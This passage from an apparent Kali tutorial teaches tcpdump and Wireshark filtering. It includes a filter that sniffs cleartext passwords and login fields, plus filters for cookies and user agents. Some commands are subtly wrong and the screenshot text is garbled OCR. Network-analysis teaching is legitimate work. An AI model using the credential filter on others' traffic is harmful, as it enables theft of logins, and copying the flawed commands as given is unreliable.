09:47:45.613353 IP 192.168.0.114 > kali-2019: ICMP echo reply, id 28115, seq 13, length 64
09:47:45.613353 IP 192.168.0.114 > kali-2019: ICMP echo reply, id 28115, seq 13, length 64
09:47:45.613353 IP 192.168.0.114 > kali-2019: ICMP echo reply, id 28115, seq 13, length 64
09:47:46.616533 IP kali-2019 > 192.168.0.114 = KMP echo reply, id 28115, seq 13, length 64
```

Now you can see just the traffic coming and going to the Windows 7 system as we have filtered out all the other traffic.

Now, let's connect to the Apache webserver on our Kali machine from your Windows 7 system. First, start the Apache2 webserver built into Kali.

kali > systemctl apache2 start

This starts your Apache webserver. Next, start tcpdump again on your Kali system.

# kali > tcpdump host 192.168.0.114

Now, open a browser on your Windows 7 system and navigate to the Kali system IP address.

You should begin to see packets appearing in the tcpdump terminal.

root@kali-2019:~# tcpdump host 192.168.0.114
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
09:51:51.186494 ARP, Request who-has _gateway tell 192.168.0.114, length 46
09:51:51.195764 ARP, Reply _gateway is-at b0:be:76:08:b5:3c (oui Unknown), length 46
09:51:56.212085 ARP, Request who-has 192.168.0.114 tell _gateway, length 46
09:51:58.214731 ARP, Request who-has kali-2019 tell 192.168.0.114, length 46
09:51:58.214749 ARP, Reply kali-2019 is-at 08:00:27:9e:1 <u>3:2d</u> (oui Unknown), length 28
09:51:58.214997 IP 192.168.0.114.49744 > kali-2019.http: Flags [S], seq 1495846102, win 8192, options [mss 146
0,nop,wscale 8,nop,nop,sackOK], length 0
09:51:58.215016 IP kali-2019.http > 192.168.0.114.49744: Flags [S.], seq 1383202157, ack 1495846103, win 29200
, options [mss 1460,nop,nop,sack0K,nop,wscale 7], length 0
09:51:58.215228 IP 192.168.0.114.49744 > kali-2019.http: Flags [.], ack 1, win 256, length 0
09:51:58.215406 IP 192.168.0.114.49744 > kali-2019.http: Flags [P.], seq 1:441, ack 1, win 256, length 440: HT
TP: GET / HTTP/1.1
09:51:58.215429 IP kali-2019.http > 192.168.0.114.49744: Flags [.], ack 441, win 237, length 0
09:51:58.216329 IP kali-2019.http > 192.168.0.114.49744: Flags [P.], seq 1:3381, ack 441, win 237, length 3380
: HTTP: HTTP/1.1 200 0K

Note that we can see the three-way TCP handshake in the highlighted polygon. You can see first an "S" flag, then an "S." flag (tcpdump represents the A or ACK flag with a ".") and then "." Flag or written another way, S-SYN/ACK-ACK.

This filter displays traffic coming and going from our Windows 7 system. If we want to filter for just the traffic coming FROM our Windows 7 system, we can create a filter like;

```
kali > tcpdump src host 192.168.0.114
```

root@kali-2019:~# tcpdump src host 192.168.0.114
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, <u>link-type EN10</u> MB (Ethernet), capture size 262144 bytes
16:49:36.953749 IP 192.168.0.114 49895 > kali-2019.http: Flags [S], seq 1049926987, win 8192, options [mss 146
0,nop,wscale 8,nop_nop,sack0K], length 0
16:49:36.953924 IP 192.168.0.114 49895 > kali-2019.http: Flags [.], ack 1212929604, win 256, length 0
16:49:36.954080 IP 192.168.0.114 49895 > kali-2019.http: Flags [P.], seq 0:440, ack 1, win 256, length 440: HT
TP: GET / HTTP/1.1
16:49:36.955356 IP 192.168.0.114 49895 > kali-2019.http: Flags [.], ack 3381, win 256, length 0
16:49:36.979218 IP 192.168.0.114 49895 > kali-2019.http: Flags [P.], seq 440:849, ack 3381, win 256, length 40
9: HTTP: GET /icons/openlogo-75.png HTTP/1.1

Now, we are only seeing the traffic coming (src) from our Windows 7 system (192.168.0.114).

#### Filter by Port

What if we wanted to filter out all the traffic except those going to a particular port on our Apache webserver? Let's try to filter out everything except traffic going to port 80 (HTTP). If we use the –vv option (very verbose) in tcpdump, it will decode all the IP and TCP headers and the user agent (the user agent can often be used to identify the user). To get these results, we could write a filter such as:

```
kali > tcpdump -vv dst port 80
```



As you can see above, tcpdump displays a significant amount of information about the traffic including the browser's user agent (user agents can be used to identify the user).

#### Filter by TCP Flags

What if we wanted to see only the traffic with SYN flags sets on it? We could create a filter like this:

```
kali > tcpdump `tcp[tcpflags]==tcp-syn'
```

```
root@kali-2019:~# tcpdump 'tcp[tcpflags]==tcp-syn'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
10:04:54.246958 IP 192.168.0.114.49750 > kali-2019.http: Flags [S], seq 4259635309, win 8192, options [mss 146
0,nop,wscale 8,nop,nop,sackOK], length 0
10:05:32.964650 IP 192.168.0.114.49755 > kali-2019.http: Flags [S], seq 3099950202, win 8192, options [mss 146
0,nop,wscale 8,nop,nop,sackOK], length 0
```

Of course, we can create a filter for each of the TCP flags such as;

```
kali > tcpdump `tcp[tcpflags]==tcp-ack'
kali > tcpdump `tcp[tcpflags]==tcp-fin'
kali > tcpdump `tcp[tcpflags]==tcp-rst'
kali > tcpdump `tcp[tcpflags]==tcp-psh'
kali > tcpdump `tcp[tcpflags]==tcp-urg'
```

# **Combining Filters**

Tcpdump enables us to use filters together using a logical AND (&&) or a logical OR ( $\parallel$ ). So, if we wanted to filter for a particular IP address and TCP port 80 we would create a filter such as:

kali > tcpdump host 192.168.0.114 and port 80

We can also use a logical OR, such as:

kali > tcpdump port 80 or port 443

If we wanted to see all the traffic **except** that travelling from a particular IP address, we can use the negation symbol (!) or not.

kali > tcpdump not host 192.168.0.114

#### **Filtering for Passwords and Identifying Artifacts**

To filter for passwords in cleartext, we could build a filter for various ports and then use egrep to search for strings indicating logins or passwords such as;

```
kali > tcpdump port 80 or port 21 or port 25 or port 110 or port 143
or port 23 -lA | egrep -i B5
'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|password='
```

If you want to filter for just the user agent (an identifying signature of the user and their browser) we could create filter such as:

kali > tcpdump -vvAls | grep 'User-Agent'

<pre>root@kali-2019:~# tcpdump -vvAls0   grep 'User-Agent'</pre>
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0

Finally, to filter for just the browser cookies, we can create the following filter.

kali > tcpdump -vvAls | grep 'Set-Cookie|Host|Cookie:'

tcpdump is a powerful command-line tool for analyzing network traffic with multiple capabilities. Time invested in learning its BPF-based filtering system is time well-invested. As a security admin or hacker, you may not have access to a GUI on remote system and tcpdump is the tool of choice.

#### Wireshark, the Gold Standard in Sniffers

In recent years, Wireshark has become the de-facto standard in sniffers. Formerly known as Ethereal, it is now part of every network or security admin's tool chest, or should be. Kali has Wireshark built-in, so we can start Wireshark by simply entering Wireshark in the terminal or using the GUI; go to Applications-->Usual Applications->Internet-->Wireshark.



Wireshark now opens and ask you which interface you would like to listen on. If you are using a VM, select the **eth0.** If you are using a physical machine with a wireless adapter, select the wireless adapter (probably wlan0). Usually, you can determine which adapter to select by the activity level. The most active adapter is likely the one you want to use for sniffing.

The Wiresbark Network Analyze				- 1	n x
File Edit View Go Capture	Analyze Statistics Tele	nhony Wireless Too	ls Help		
	9 ↔ ↔ ↔ 1 1				
Apply a display filter <ctrl-></ctrl->				Expre	ession +
Welcome to Wir	eshark				
Capture					
using this filter:	Enter a capture filter		<ul> <li>All interface</li> </ul>	ces shown 🔻	
Ethernet					
Local Area	Connection* 2				
Bluetooth Wi-Fi	Network Connection/~				
Learn					
User's Guide	Wiki · Questions and Ans	wers · Mailing Lists			
You are running Wire	shark 2.6.3 (v2.6.3-0-ga62e6c	27). You receive automatio	updates.		
72					
Ready to load or capture		N	Packets	Profi	le: Default

Now, Wireshark begins capturing packets from your network interface and packaging them into the .pcap format. Pcap is the standard file format for packet capture (you find it used throughout our industry in such products as Snort, aircrack-ng, and many others)

You see three separate analysis windows in Wireshark. The top window, labeled **#1** in the screenshot below, is known as the **Packet List Pane**. You should see color-coded packets moving in real-time through this window.

	Cap	pturi	ng fror	n Wi-	·Fi																					_		]	×
Fil	e E	Edit	View	Go	o (	Capt	ure	Ar	nalyz	e	Stati	istic	s	Tele	pho	ny	Wire	eless	Тос	ols	He	lp							
		٦	۲		10		G	9	æ	⇒	2	Ŷ	J				Ð	Θ. (	Q. I										
	Appl	y a d	isplay fi	ter	. <c1< td=""><td>trl-/&gt;</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td>-</td><td>Expres</td><td>sion</td><td>+</td></c1<>	trl-/>																				-	Expres	sion	+
No.			Time			So	ource						De	stina	ation				Pro	otocol		Length	Info						^
	182	221	150.9	7695	9	19	92.1	168.	1.1				23	9.2	55.	255	.250		SS	DP		371	NOTI	FY	* н	ITTP/	1.1		
	182	222	150.9	3063	9	19	92.1	168.	1.1				23	9.2	55.	255	. 250		SS	DP		379	NOTI	FY	* н	ITTP/	1.1	1	
	182	223	150.9	8685	1	19	92.1	168.	1.1				23	9.2	55.	255	. 250		SS	DP		307	NOTI	FY	* н	ITTP/	1.1		
	182	224	150.9	8745	6	52	2.35	5.16	9.3	7			19	2.1	68.	1.10	37		TL	Sv1.	.2	739	Appl	lica	tio	n Da	ata		
	182	225	151.0	2367	1	19	92.1	168.	1.1	07			52	.35	.16	9.37	7		TL	Sv1.	.2	129	App1	lica	tio	n Da	ata		
	182	226	151.0	5168	8	19	92.1	168.	1.1	07			10	4.3	6.1	13.1	17		TC	P		55	[TCF	• Ke	ep-	Aliv	/e] 5	4669	→ 🗸
<																													>
$\sim$ $\sim$ $\sim$	Frai Eth Int Tra	me : erno erno nsm:	l: 66 et II, et Pro ission	byto Sro toco Co	es ( c: ( ol \ ntro	on w Cisc /ers ol P	/ire :o-L ;ion ?rot	e (5 .i_9 1 4, :oco	28 k 7:41 Src 1, 9	f:48 f:48 Src	s), 8 (@ 185. Por	66 00:2 .70. rt:	by1 25:9 44	tes 9c: 15 3, 1	ca 97: 1, Dst	ptur 4f:4 Dst: Por	red ( 18), 192 t: 5	(528 Dst: 2.168 53508	bit In 3.1. 3, S	s) o telC 107 eq:	in : :or 1,	interi _55:30 Ack:	ace ::05	0 (30 en:	:e3 0	:7a: 2	55:3	c:05)	
00 00 <b>00</b> 00	00 10 20 <b>30</b> 40	30 00 01 07 79	e3 7a 34 91 6b 01 42 0b 31	55 6a bb 49	3c 40 d1 00	05 00 04 00	00 37 bc 01	25 06 19 01	9c 0e bd 05	97 69 7c 0a	4f b9 ae ae	48 46 72 72	08 28 79 79	00 97 31 30	45 c0 80 ae	00 a8 10 72	0 - 4 - k - B y1	zU< j@	- % 7 -	OH i F	y1 y0	r				3			
C	) 🛛	'v	/i-Fi: <li< th=""><th>ve ca</th><th>pture</th><th>e in p</th><th>rogr</th><th>ess&gt;</th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th>Packe</th><th>ts: 18</th><th>3226 -</th><th>Dis</th><th>played:</th><th>18226</th><th>5 (10</th><th>0.0%</th><th><b>%)</b></th><th>Profile</th><th>: Defau</th><th>ult 🔡</th></li<>	ve ca	pture	e in p	rogr	ess>										Packe	ts: 18	3226 -	Dis	played:	18226	5 (10	0.0%	<b>%)</b>	Profile	: Defau	ult 🔡

The middle window, labeled **#2**, is known as the **Packet Details Pane**. This pane provides us with header information from the selected packet in Window **#1**.

Finally, Window **#3**, **Packet Bytes Pane**, provides payload information in both hexadecimal format to the left and ASCII format to the right.

# **Creating Filters in Wireshark**

In general, there is way too much information here to do an effective analysis. Packets are flying by, hundreds or thousands per minute. To use Wireshark effectively, we need to filter the traffic to **see only those packets of interest**. Wireshark has a simple filtering language that you should understand to use it effectively and efficiently in any investigation or analysis.

The packets flying by our interface are of many different protocols. Probably the first filter we want to apply is a protocol filter. Remember, TCP/IP is a suite of protocols, and we probably want to focus our analysis to just a few.

In the filter window, type "tcp." You notice that it turns green, indicating that your syntax is correct (it remains pink while your syntax is incorrect). Now, click the arrow button to the far right of the filter window to apply the filter.

🛃 "Wi-Fi					
					×
File Edit View	Go Capture Analyze Statistic	cs Telephony Wireless	Tools Help	lp	
1 1 6 0			Q. III		
			•	<b>(19)</b>	
tcp				Expression	+
No. Time	Source	Destination	Protocol L	Length Info	^
2336 115.50	3987 54.88.124.1	192.168.1.107	TLSv1.2	738 Application Data	
2337 115.55	8685 192.168.1.107	54.88.124.1	TCP	54 49702 → 443 [ACK] Seq=226 Ack=126928 Win=64 Len=0	
2338 116.01	2908 54.88.124.1	192.168.1.107	TLSv1.2	434 Application Data	
2339 116.05	8253 192.168.1.107	54.88.124.1	TCP	54 49702 → 443 [ACK] Seq=226 Ack=127308 Win=68 Len=0	
2340 116.31	9892 54.148.172.173	192.168.1.107	TLSv1.2	761 Application Data	
L 2341 116.37	4616 192.168.1.107	54.148.172.173	TCP	54 49704 → 443 [ACK] Seq=226 Ack=123998 Win=65 Len=0	
2342 116.52	5029 54.88.124.1	192.168.1.107	TLSv1.2	426 Application Data	~
> Transmission	Control Protocol, Src Port:	443, Dst Port: 4970	4, Seq: 1, 4	Ack: 1, Len: 397	
<ul> <li>&gt; Transmission</li> <li>&gt; Secure Socke</li> </ul>	Control Protocol, Src Port: ts Layer	: 443, Dst Port: 4970	4, Seq: 1,	Ack: 1, Len: 397	
<ul> <li>&gt; Transmission</li> <li>&gt; Secure Socke</li> <li>0000 30 e3 7a</li> </ul>	Control Protocol, Src Port: ts Layer 55 3c 05 00 25 9c 97 4f 48	443, Dst Port: 4970	4, Seq: 1, /	Ack: 1, Len: 397	^
<ul> <li>&gt; Transmission</li> <li>&gt; Secure Socke</li> <li>0000 30 e3 7a</li> <li>0010 01 b5 c8</li> </ul>	Control Protocol, Src Port: ts Layer 55 3c 05 00 25 9c 97 4f 48 95 40 00 e7 06 24 58 36 94	: 443, Dst Port: 4970- 08 00 45 00 0·zU< ac ad <0 a8 ····@	4, Seq: 1, /	Ack: 1, Len: 397	^
<ul> <li>&gt; Transmission</li> <li>&gt; Secure Socke</li> <li>0000 30 e3 7a</li> <li>0010 01 b5 c8</li> <li>0020 01 6b 01</li> </ul>	Control Protocol, Src Port: ts Layer 55 3c 05 00 25 9c 97 4f 48 95 40 00 e7 06 24 58 36 94 bc 22 87 78 84 f4 d6 ae d9	443, Dst Port: 4970 08 00 45 00 0 · zU< ac ad c0 a8 · · · · @ 7f 42 50 18 · · k· · · (	4, Seq: 1, ,	Ack: 1, Len: 397	^
> Transmission > Secure Socke 0000 30 e3 7a 0010 01 b5 c8 0020 01 6b 01 0030 00 75 db	Control Protocol, Src Port: ts Layer 55 3c 05 00 25 9c 07 4f 48 95 40 00 e7 06 24 58 36 94 bb c2 28 76 84 f4 d5 ac d9 bb c2 28 76 84 f4 d5 ac d9 bb c2 80 70 83 81 88 fb	443, Dst Port: 4970 08 00 45 00 0 · zU< ac ad c0 a8 ····@ 7f 42 50 8 ····@ ce eb 66 20 ····V	4, Seq: 1, 4 ************************************	Ack: 1, Len: 397	^
> Transmission > Secure Socke 0000 30 e3 7a 0010 01 b5 c8 0020 01 6b 01 0030 00 75 db 0040 85 5f d2	Control Protocol, Src Port: ts Layer 55 3c 05 00 25 9c 97 4f 48 95 40 00 e7 06 24 53 36 94 bc 22 87 58 4 f4 d6 ae d9 56 00 00 17 03 03 01 88 f4 94 d5 4e 68 d5 31 55 ef 62	443, Dst Port: 4970- 088 00 45 00 0 ·zU< ac ad c0 a8 ····@ 7f 42 50 18 ·k··· ce eb 66 30 ·u·V ··· 42 4d da 29 ····	4, Seq: 1, / *** - OH E \$X6 (x BP 	Ack: 1, Len: 397	^
> Transmission > Secure Socke 0000 30 e3 7a 0010 01 b5 c8 0020 01 6b 01 0030 00 75 db 0040 85 5f d2 0050 00 24 ae 0050 13 39a	Control Protocol, Src Port: ts Layer 55 3c 05 00 25 9c 97 4f 48 95 40 00 c7 06 24 58 36 94 bb c2 28 78 4f 46 66 ac 04 56 00 00 17 03 03 01 88 fb 04 68 4c 88 d6 51 5b 6f c2 78 83 bc 30 47 94 80 5c 55 ba 7f 85 13 hb 37 a 45 08 5c 55	443, Dst Port: 4970 08 00 45 00 0-2U< ac ad c0 a8 ····@ 7f 42 50 18 ·k··@ (ce eb 66 20 ····V 42 4d da 20 ····1 57 0c db 7b ·5 ·5·· 0e 76 ha 53	<pre></pre>	Ack: 1, Len: 397	^
> Transmission > Secure Socke 0000 30 e3 7a 0010 01 b5 c8 0020 01 6b 01 0030 00 75 db 0040 85 5f d2 0040 85 5f d2 0040 81 83 9a 0070 fa a5 a0	Control Protocol, Src Port: ts Layer 55 3c 05 00 25 9c 97 4f 44 95 40 00 c7 06 24 58 3c 9 96 40 00 c7 06 24 58 3c 9 96 40 8 4c 88 d6 51 55 6f 26 97 88 3b 20 46 51 55 6f 27 98 8 3b 20 47 94 80 5c 56 96 7f 62 66 85 c2 80 65 97 1f 62 6c 88 c2 80 65	443, Dst Port: 4970 08 00 45 00 0 2U< ac ad c0 a8 7f 42 50 18		Ack: 1, Len: 397	^
> Transmission > Secure Socke 0000 30 e3 7a 0010 01 b5 c8 0020 01 6b 01 0030 00 75 db 0040 85 5f d2 0050 00 24 ae 0050 00 24 ae 0050 d0 24 ae 0050 d1 83 9a 0070 fa a5 a0 0080 2b 6d 4c	Control Protocol, Src Port: ts Layer 55 3c 05 00 25 9c 97 4f 48 55 40 00 c7 06 24 58 36 94 bb c2 28 78 84 f 46 68 e6 56 00 80 17 08 35 80 6f 77 78 83 bc 30 58 80 6f 77 78 83 bc 30 58 96 71 68 56 55 bc 30 67 51 fc 28 c6 88 c2 80 65 6f 04 cf 16 82 2b 84 54 20	443, Dst Port: 4970 08 00 45 00 ac ad co 88 77 42 50 18 57 0c 6b 20 42 4d da 29 57 0c fb 35 6d fc 2f 22 4a 60 37 31 4m (	4, Seq: 1, / \$X6 (x BP (x BP) (x B	Ack: 1, Len: 397	^

When you do, Wireshark filters out all traffic, except the TCP traffic. You can do the same for just about any protocol such as "http,""smtp," "udp,""dns," and many others. Try out a few and see what kind of traffic is passing your interface.

If we want to see traffic only from a particular IP address, we can create a filter that only shows traffic coming or going from that address. We can do that by entering into the filter window:

ip.addr==<IP address>

Note the double equal sign (==) in the Wireshark filter syntax (similar to C assignment operator). A single "=" **does not work** in this syntax.

In my case here, I want to see traffic coming or going to IP address 192.168.1.107, so I create a filter like so:

ip.addr == 192.168.1.107

	*Wi-Fi					- D X
			Constantine Monton	Table 114		
. "	ie Eult view Go	Capture Analyze Statis	and relephony wireless		p	
1		Ⅻ▣ ٩, ∞ ∞ ≌	🖲 🖉 📑 🔍 વ	् 👖		
L	ip.addr==192.168.1.107					Expression +
No	. Time	Source	Destination	Protocol	ength Info	<b>^</b>
	9667 371.850453	192.168.1.107	54.148.172.173	TCP	54 49704 → 443 [ACK] Seq=901 Ack=385707 Win=63 Len=0	
	9668 372.931905	54.88.124.1	192.168.1.107	TLSv1.2	443 Application Data	
	9669 372.985533	192.168.1.107	54.88.124.1	TCP	54 49702 → 443 [ACK] Seq=901 Ack=406955 Win=63 Len=0	
	9670 373.021211	185.230.61.166	192.168.1.107	TLSv1.2	85 Application Data	
	9671 373.021795	192.168.1.107	185.230.61.166	TLSv1.2	89 Application Data	
	9672 373.057081	185.230.61.166	192.168.1.107	TCP	60 443 → 64875 [ACK] Seq=956 Ack=1056 Win=17796 Len=0	
	9673 373.954933	54.148.172.173	192.168.1.107	TLSv1.2	128 Application Data	×
>	Secure Sockets Laye	er		,, sed. 1)	nor 2) on 257	
	000 30 e3 7a 55 3c	05 00 25 9c 97 4f 4	18 08 00 45 00 0.714	··% ··OH··F		
0			0 00 00 49 00 0 10			A 1
0	010 01 b5 c8 95 40	00 e7 06 24 58 36 9	4 ac ad c0 a8 ····(	•••• \$X6••••		^
0	01         b5         c8         95         40           020         01         65         01         b5         c2	00 e7 06 24 58 36 9 28 78 84 f4 d6 ae d	4 ac ad c0 a8	(x SX6 BF		^
000000000000000000000000000000000000000	010 01 b5 c8 95 40 020 01 6b 01 bb c2 030 00 75 db 56 00	00 e7 06 24 58 36 9 28 78 84 f4 d6 ae 0 00 17 03 03 01 88 4 4e 88 d6 51 5b ef c	44 ac ad c0 a8         •••••           19 7f 42 50 18         •k•••           15 ce eb 66 20         •u•V           -2 42 4d da 29         ••••	(x BF		
000000000000000000000000000000000000000	010         01         b5         c8         95         40           020         01         6b         01         bb         c2           030         00         75         db         56         00           940         85         5f         d2         04         d8           050         00         24         ae         73         83	00         e7         06         24         58         36         9           28         78         84         f4         d6         ae         6           00         17         03         03         01         88           4e         88         d6         51         5b         ef           b2         a0         47         84         80         5c	44 ac ad c0 a8         •••••           19 7f 42 50 18         •••••           60 ce b 66 20         •u···           75 ce eb 66 20         •u···           75 57 0c db 7b         •\$•s	X6 (x BF N Q[ BM		
000000000000000000000000000000000000000	010         01         b5         c8         95         40           020         01         6b         01         b5         c8         95         40           020         01         6b         01         b5         c8         95         40           030         00         75         db         96         00         24         00         24         00         24         02         04         d8         95         00         24         ae         73         83         360         a1         83         9a         ba         7f	00         e7         06         24         58         36         9           28         78         84         f4         d6         ae         0           00         17         03         03         01         88         4         51         5b         ef           28         88         d6         51         5b         ef         d5         2a         47         84         80         5c         b         a5         13         bb         2b         3a         45         6	44 ac ad c0 a8	X6 (x BF N Q[ BM G \.W +:E V		
0 0 0 0 0 0 0	01         01         b5         c8         95         40           020         01         6b         01         bb         c2           030         00         75         db         56         60           040         85         56         40         24         40         85           050         00         24         ac         73         83         366         a1         83         9a         ba         7f           3760         a1         83         9a         ba         7f         af         a5         a0         60         71	00         e7         06         24         58         36         9           28         78         84         f4         d6         ac         0           00         17         03         03         01         88         0         51         55         ef         0         2         04         78         84         50         5         15         bf         0         17         03         03         18         0         52         30         44         88         65         51         55         ef         0         2         0         47         84         80         5         1         55         13         b5         25         34         45         6         51         13         b5         25         34         45         6         5         13         b5         25         34         45         6         6         6         88         c2         80         6         5         5         6         6         8         c2         80         6         5         5         6         6         8         c2         80         6         5         6         6	4 ac ad c0 a8	X6 (x BF N- Q[-BM -G \\W +:E V		
000000000000000000000000000000000000000	01         05         c8         95         40           020         01         65         c8         95         40           020         01         65         01         15         c8         95         40           040         85         5f         d2         04         d8         56         60           040         85         5f         d2         04         d8         56         60           040         85         5f         d2         04         d8         56         60           040         24         ac         73         83         96         a1         83         9a         ba         71           76         aa         3a         9a         ba         71         f3a         a2         66         71         380         2b         6d         4c         8f         94	00       e7       06       24       58       36       5         28       78       84       f4       d6       ac       6         09       17       03       03       01       88       6       51       5b       ef         02       04       78       84       65       15       5b       ef       6       55       13       bb       2b       3a       45       55       13       bb       2b       3a       45       55       13       bb       2b       3a       45       6       56       68       c2       86       67       66       68       c2       86       67       68       c2       86       68       c2       c6       68       c2       c6       c8       c2       c	44       ac ad c0 a8	<pre>\$X6 (x BF N- Q[-BM </pre>		
	01         01         05         c8         95         40           020         01         05         c8         95         40           020         01         05         01         05         05         00           040         25         57         42         04         d8         55         62         04         d8           050         09         24         ac         73         83         ac         74           060         at         38         ab         at         38         ab         at         38         ba         74           1800         25         6d         4c         87         94         94         39         ba         74           1800         25         6d         4c         87         94         94         34         34         34         94         3	00         e7         06         24         58         36         5           28         78         84         f4         d6         ac         o           00         17         03         03         01         88         d6         51         5b         ef           24         88         d6         51         5b         ef         c         b7         b7	44 ac ad c8 as         12           199 7f 42 50 18         ****           19 7f 42 50 18         ****           55 70 c db 7b         *5 53           55 6d fc 2f 2c         *****           60 87 31         +mL*           600807_20180917140917_80	\$X6     (x     • BF     • • • • • • • • • • • • • • • • •	)   Packets: 9673 * Displaye	<ul> <li>v</li> <li>v</li></ul>

Now, you see only traffic coming or going to that IP address. Now my analysis and focus is narrowed to a single IP address of interest.

We can also filter traffic by port. If I want to see only TCP traffic destined for port 80, I can create a filter like that below;

tcp.dstport==80

	*Wi-Fi					- 0	×
File	Edit View Go	Capture Analyze Statis	tics Telephony Wireless	Tools	Help		
st.	📕 🔬 💿 📃 🗔 I	X 🖸 🍳 🔶 🕾 😫	T 🕹 其 📃 Q, Q,	Q. 🎹			
	tcp.dstport==80		Go to the first packet			Expression	+
No.	Time	Source	Destination	Protocol	Length Info		^
-	352 15.287207	192.168.1.107	104.86.198.57	TCP	54 49890 → 80 [FIN, ACK] Seg=1 Ack=1 Win=68 Len=0		
L.	354 15.321721	192.168.1.107	104.86.198.57	TCP	54 49890 → 80 [ACK] Seq=2 Ack=2 Win=68 Len=0		
	1544 75.507737	192.168.1.107	184.25.204.89	TCP	54 49903 → 80 [FIN, ACK] Seq=1 Ack=1 Win=65 Len=0		
	1546 75.550055	192.168.1.107	184.25.204.89	TCP	54 49903 → 80 [ACK] Seq=2 Ack=2 Win=65 Len=0		
	1907 95.228531	192.168.1.107	184.25.204.104	TCP	54 49874 → 80 [FIN, ACK] Seq=1 Ack=1 Win=68 Len=0		
	1909 95.277653	192.168.1.107	184.25.204.104	TCP	54 49874 → 80 [ACK] Seq=2 Ack=2 Win=68 Len=0		
	6740 290.652395	192.168.1.107	72.167.18.239	TCP	66 49946 → 80 [SYN] Seq=0 Win=17520 Len=0 MSS=1460 WS=256 SACK	_PERM=1	
	C337 000 C00004	403 400 4 407	70 477 40 030	TCO	CA 4004C - 00 [ACH] C== 4 Ask 4 112= 47400 1== 0		
>	Frame 352: 54 byte	s on wire (432 bits)	, 54 bytes captured (4	32 bits)	on interface 0		
2	Ethernet II, Src:	IntelCor_55:3c:05 (30	0:e3:7a:55:3c:05), Dst	: Cisco-	Li_97:4†:48 (00:25:9c:97:4†:48)		
2	Internet Protocol	Version 4, Src: 192.	168.1.107, Dst: 104.86	.198.57			_
2	Transmission Contro	ol Protocol, Src Port	t: 49890, Dst Port: 80	, Seq: 1	, Ack: 1, Len: 0		
00	0 00 25 0c 07 4f	49 30 03 75 55 36 0	5 02 00 15 00 .¥0				
00	10 00 28 36 cf 40	00 80 06 d3 5d c0 a	8 01 6b 68 56 · (6·@		khV		
00	c6 39 c2 e2 00	50 16 83 bc 46 90 5	6 4e 0f 50 11 .9	P····É·VI	I-P-		
00	00 44 4a 8a 00	00	· D3 · ·				
0	Wireshark_966757	51-AB3C-44DA-88C5-EE16DA	6C0807_20180917140917_a07	760.pcapng	Packets: 14948 · Displayed: 60	(0.4%) Profile: De	fault
			_				

Note that this filter indicated the protocol (tcp), the direction (dst) and the port (80).

When creating filters, we most often use "==" as the operator in our filter (there are others see below). This syntax works fine as long as we are looking for one of the many header fields in the protocol. If we are looking for strings in the payload, we have to use the "contains" operator. So, if I were looking for packets with the word "Facebook" in them, we could create a filter like that below.

tcp contains facebook

File Edi	i View Go C <b>3 (10) 10 10 10 10 10 10 10 10</b>	Capture Analyze Statistic & C ♀ ⇔ ⇔ ≌ ĵ	rs Telephony Wireless	Tools He	lp	-	D X
File Edi	t View Go C	Capture Analyze Statistic & 🔄 ९, ⊕ ⊕ 🕾 👔	rs Telephony Wireless	Tools He	lp		
🔟 📕 🖉	tains facebook	\$ □ \$ + + 2 1	ة <u>الم</u> الم	Q. 🎹			
tcp con	tains facebook			•			
( H Tech con	Time						Expression +
No		Source	Dectination	Protocol	length Info		) בוקרכנסוסוווווי
17978	3 738 668725	192 168 1 107	157 240 22 39	TI Sv1 3	571 Client Hello		
18121	1 739.594815	192.168.1.107	157.240.22.35	TLSv1.3	571 Client Hello		
> Frame	17978: 571 by	tes on wire (4568 bit	s), 571 bytes captur	red (4568 b	its) on interface 0		
> Ether	net II, Src: I	ntelCor_55:3c:05 (30:	e3:7a:55:3c:05), Dst	:: Cisco-Li	_97:4f:48 (00:25:9c:97:4f:48)		
> Inter	met Protocol V mission Contro	ersion 4, Src: 192.16 I Protocol Src Port:	50021 Dst Port: 44	10.22.39 13 Sec: 1	Ack: 1 Len: 517		
> Secur	e Sockets Laye	r	50022, 550 10101 11	(), Seq. 1)	field af cent bar		
0040 0	3 f1 5f 9d 5b (	0d 2f 14 c7 97 38 31	15 02 90 66	·/· ··81···	f		1
0050 5	1 57 b0 49 d8 d	cd 1c 6e bf 95 98 a4	29 69 9d b0 QW I	· n · · · · )i·			
0060 C	7 20 4b aa 47 a	a2 af de f2 b9 50 88	b9 ce d0 60 · K·G				
0070 C	o 17 oe 16 67 : 5 cc 00 1c 13 (	51 0C 20 96 55 ea 82 01 13 03 13 02 c0 2b	20 41 00 55	r ( · 0 · · &0 ·	·		
0090 C	c a8 c0 2c c0	30 c0 13 c0 14 00 2f	00 35 00 0a ···,·(	0			
00a0 0	1 00 01 97 00 0	00 00 15 00 13 00 00	10 77 77 77	••••••••••			
00b0 2	e 66 61 63 65 0	62 61 61 6b 2e 63 6f	6d 00 17 00 .face	boo k.com	$\langle \Box$		
0000 0	0 11 01 00 01 0		00 10 00 17		· •		
0 🗹	Bytes 173-188: Serv	ver Name (ssl.handshake.exter	nsions_server_name)			Packets: 20092 ' Displayed: 2 (0.0%)	Profile: Default

